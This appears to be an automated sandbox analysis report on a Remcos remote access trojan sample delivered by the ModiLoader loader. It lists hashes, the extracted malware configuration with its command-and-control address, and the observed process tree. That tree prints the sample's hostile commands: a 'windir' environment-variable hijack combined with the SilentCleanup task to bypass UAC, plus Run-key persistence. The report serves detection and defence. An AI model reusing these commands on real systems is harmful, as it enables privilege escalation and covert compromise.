Analysis
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max time kernel
149s -
max time network
178s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
14-09-2021 16:50
Static task
static1
Behavioral task
behavioral1
Sample
bff.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
bff.exe
Resource
win10-en
General
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Target
bff.exe
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Size
1.0MB
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MD5
806729db9fed0122af745392447a8629
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SHA1
c57287d9a4d7d72183ce5cba5e40caec6219d50a
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SHA256
bff8566d5a033dafe6a77e24f7c94be3bd9332045a13768c859cfc3fb7eeb2aa
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SHA512
dc221b1c854ea5981c3f9305749dbbee022386fa9c81d27aa52bdc61863a38fd1e94cc493aaeed25e954696d907915ca50cfadf5567c4468557ca87f31a065cc
Malware Config
Extracted
remcos
3.2.0 Pro
centeslam
194.127.179.121:5002
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audio_folder
MicRecords
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audio_path
%AppData%
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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install_path
%AppData%
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
backson
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keylog_path
%AppData%
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mouse_option
false
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mutex
hobrosfer-IK2B6A
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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startup_value
Remcos
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take_screenshot_option
false
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take_screenshot_time
5
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take_screenshot_title
notepad;solitaire;
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
bff.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Cittxnr = "C:\\Users\\Public\\Libraries\\rnxttiC.url" bff.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious use of WriteProcessMemory 47 IoCs
Processes:
bff.execmd.execmd.execmd.exedescription pid process target process PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1640 1208 bff.exe ieinstal.exe PID 1208 wrote to memory of 1760 1208 bff.exe cmd.exe PID 1208 wrote to memory of 1760 1208 bff.exe cmd.exe PID 1208 wrote to memory of 1760 1208 bff.exe cmd.exe PID 1208 wrote to memory of 1760 1208 bff.exe cmd.exe PID 1760 wrote to memory of 1332 1760 cmd.exe cmd.exe PID 1760 wrote to memory of 1332 1760 cmd.exe cmd.exe PID 1760 wrote to memory of 1332 1760 cmd.exe cmd.exe PID 1760 wrote to memory of 1332 1760 cmd.exe cmd.exe PID 1332 wrote to memory of 548 1332 cmd.exe reg.exe PID 1332 wrote to memory of 548 1332 cmd.exe reg.exe PID 1332 wrote to memory of 548 1332 cmd.exe reg.exe PID 1332 wrote to memory of 548 1332 cmd.exe reg.exe PID 1332 wrote to memory of 924 1332 cmd.exe reg.exe PID 1332 wrote to memory of 924 1332 cmd.exe reg.exe PID 1332 wrote to memory of 924 1332 cmd.exe reg.exe PID 1332 wrote to memory of 924 1332 cmd.exe reg.exe PID 1332 wrote to memory of 1008 1332 cmd.exe schtasks.exe PID 1332 wrote to memory of 1008 1332 cmd.exe schtasks.exe PID 1332 wrote to memory of 1008 1332 cmd.exe schtasks.exe PID 1332 wrote to memory of 1008 1332 cmd.exe schtasks.exe PID 1208 wrote to memory of 916 1208 bff.exe cmd.exe PID 1208 wrote to memory of 916 1208 bff.exe cmd.exe PID 1208 wrote to memory of 916 1208 bff.exe cmd.exe PID 1208 wrote to memory of 916 1208 bff.exe cmd.exe PID 916 wrote to memory of 1708 916 cmd.exe reg.exe PID 916 wrote to memory of 1708 916 cmd.exe reg.exe PID 916 wrote to memory of 1708 916 cmd.exe reg.exe PID 916 wrote to memory of 1708 916 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bff.exe"C:\Users\Admin\AppData\Local\Temp\bff.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/548-75-0x0000000000000000-mapping.dmp
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memory/916-79-0x0000000000000000-mapping.dmp
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memory/924-76-0x0000000000000000-mapping.dmp
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memory/1008-77-0x0000000000000000-mapping.dmp
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memory/1208-60-0x00000000002A0000-0x00000000002A1000-memory.dmpFilesize
4KB
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memory/1208-64-0x0000000075C71000-0x0000000075C73000-memory.dmpFilesize
8KB
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memory/1332-73-0x0000000000000000-mapping.dmp
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memory/1640-71-0x00000000003F0000-0x0000000000469000-memory.dmpFilesize
484KB
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memory/1640-69-0x0000000000240000-0x0000000000241000-memory.dmpFilesize
4KB
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memory/1640-70-0x0000000010590000-0x000000001060C000-memory.dmpFilesize
496KB
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memory/1640-68-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
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memory/1640-78-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
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memory/1640-65-0x0000000000000000-mapping.dmp
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memory/1708-81-0x0000000000000000-mapping.dmp
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memory/1760-67-0x0000000000000000-mapping.dmp